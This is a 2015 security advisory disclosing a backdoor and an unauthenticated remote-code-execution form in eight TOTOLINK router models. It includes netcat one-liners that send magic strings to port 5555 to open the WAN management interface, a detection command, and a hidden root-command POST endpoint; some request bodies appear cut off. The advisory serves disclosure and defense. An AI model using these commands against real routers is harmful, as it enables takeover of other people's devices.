## Advisory Information
Title: Backdoor and RCE found in 8 TOTOLINK router models
Advisory URL: https://pierrekim.github.io/advisories/2015-totolink-0x02.txt
Blog URL: https://pierrekim.github.io/blog/2015-07-16-backdoor-and-RCE-found-in-8-TOTOLINK-products.html
Date published: 2015-07-16
Vendors contacted: None
Release mode: 0days, Released
CVE: no current CVE
## Product Description
TOTOLINK is a brother brand of ipTime which wins over 80% of SOHO
markets in South Korea.
TOTOLINK produces routers routers, wifi access points and network
devices. Their products are sold worldwide.
## Vulnerabilities Summary
A backdoor is present in several TOTOLINK products.
This was confirmed by analysing the latest firmwares and by testing
the backdoor against live routers.
At least 8 TOTOLINK products are affected (firmwares come from
totolink.net and from totolink.cn):
- A850R-V1 : until last firwmware TOTOLINK-A850R-V1.0.1-B20150707.1612.web
- F1-V2 : until last firmware F1-V2.1.1-B20150708.1646.web
- F2-V1 : until last firmware F2-V2.1.0-B20150320.1611.web
- N150RT-V2 : until last firmware TOTOLINK-N150RT-V2.1.1-B20150708.1548.web
- N151RT-V2 : until last firmware TOTOLINK-N151RT-V2.1.1-B20150708.1559.web
- N300RH-V2 : until last firmware TOTOLINK-N300RH-V2.0.1-B20150708.1625.web
- N300RH-V3 : until last firmware TOTOLINK-N300RH-V3.0.0-B20150331.0858.web
- N300RT-V2 : until last firmware TOTOLINK-N300RT-V2.1.1-B20150708.1613.web
By sending a crafted request to the WAN IP, an attacker will open the
HTTP remote management interface on the Internet.
Then an attacker can use a Remote Code Execution in the HTTP remote
management interface by using the hidden /boafrm/formSysCmd form,
bypassing the authentication system.
We estimate there are =~ 50 000 routers affected by this backdoor.
## Details - backdoor
The init.d script executes the /bin/skt binary when the router starts:
# start web server
skt is a small MIPS binary which is a client/server program. The arguments are:
client: ./skt host cmd
The binary can be used in x86_64 machines using QEMU: sudo chroot .
Using skt without argument will launch a TCP daemon on port 5555 in
every interface (including WAN), acting as an ECHO server.
Using skt with arguments will send a TCP packet containing the command
to the specified IP on port 5555.
The analysis of the binary running on the TOTOLINK devices (for more
) shows the server mode responds to 3 commands by silently executing
system() in the background:
o By sending "hel,xasf" to the device, the device will execute:
iptables -I INPUT -p tcp --dport 80 -i eth1 -j ACCEPT
This will open the HTTP remote management interface on port 80 in
the eth1 interface which is the WAN interface by default.
o By sending "oki,xasf" to the device, the device will execute:
iptables -D INPUT -p tcp --dport 80 -i eth1 -j ACCEPT
This will close the HTTP remote management interface.
o By sending "bye,xasf" to the device, the device will do nothing
The iptables commands in the backdoor are hardcoded with "eth1".
Only devices using DHCP and static IP connections are affected because
the WAN IP is attached on the eth1 device.
It does not affect devices using PPPoE connections, because the WAN IP
is attached on the ppp device, as seen below:
ppp0 Link encap:Point-to-Point Protocol
inet addr:X.X.X.X P-t-P:X.X.X.X Mask:255.255.255.255
UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1438 Metric:1
RX packets:17308398 errors:0 dropped:0 overruns:0 frame:0
TX packets:2605290 errors:0 dropped:0 overruns:0 carrier:0
RX bytes:2803138455 (2.6 GiB) TX bytes:277402492 (264.5 MiB)
An attacker can use these simple netcat commands to test the backdoor:
To open the HTTP remote management interface on the Internet:
echo -ne "hel,xasf" | nc <ip> 5555
To close the HTTP remote management interface on the Internet:
echo -ne "oki,xasf" | nc <ip> 5555
To detect a vulnerable router:
echo -ne "GET / HTTP/1.1" | nc <ip> 5555
if you see "GET / HTTP/1.1" in the answer, you likely detected a
## Details - RCE in the management interface
A hidden form in the latest firmware allows an attacker to execute
commands as root by sending a HTTP request:
POST /boafrm/formSysCmd HTTP/1.1
An attacker can use wget to execute commands in the remote device:
For instance, sending this HTTP request to the management interface
will reboot the device:
POST /boafrm/formSysCmd HTTP/1.1
This wget command will do the same job:
## Vendor Response
TOTOLINK was not contacted in regard of this case.
## Report Timeline
* Jun 25, 2015: Backdoor found by analysing TOTOLINK firmwares.
* Jun 26, 2015: Working PoCs with RCE.
* Jul 13, 2015: Updated firmwares confirmed vulnerable.
* Jul 16, 2015: A public advisory is sent to security mailing lists.
These vulnerabilities were found by Alexandre Torres and Pierre Kim
This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/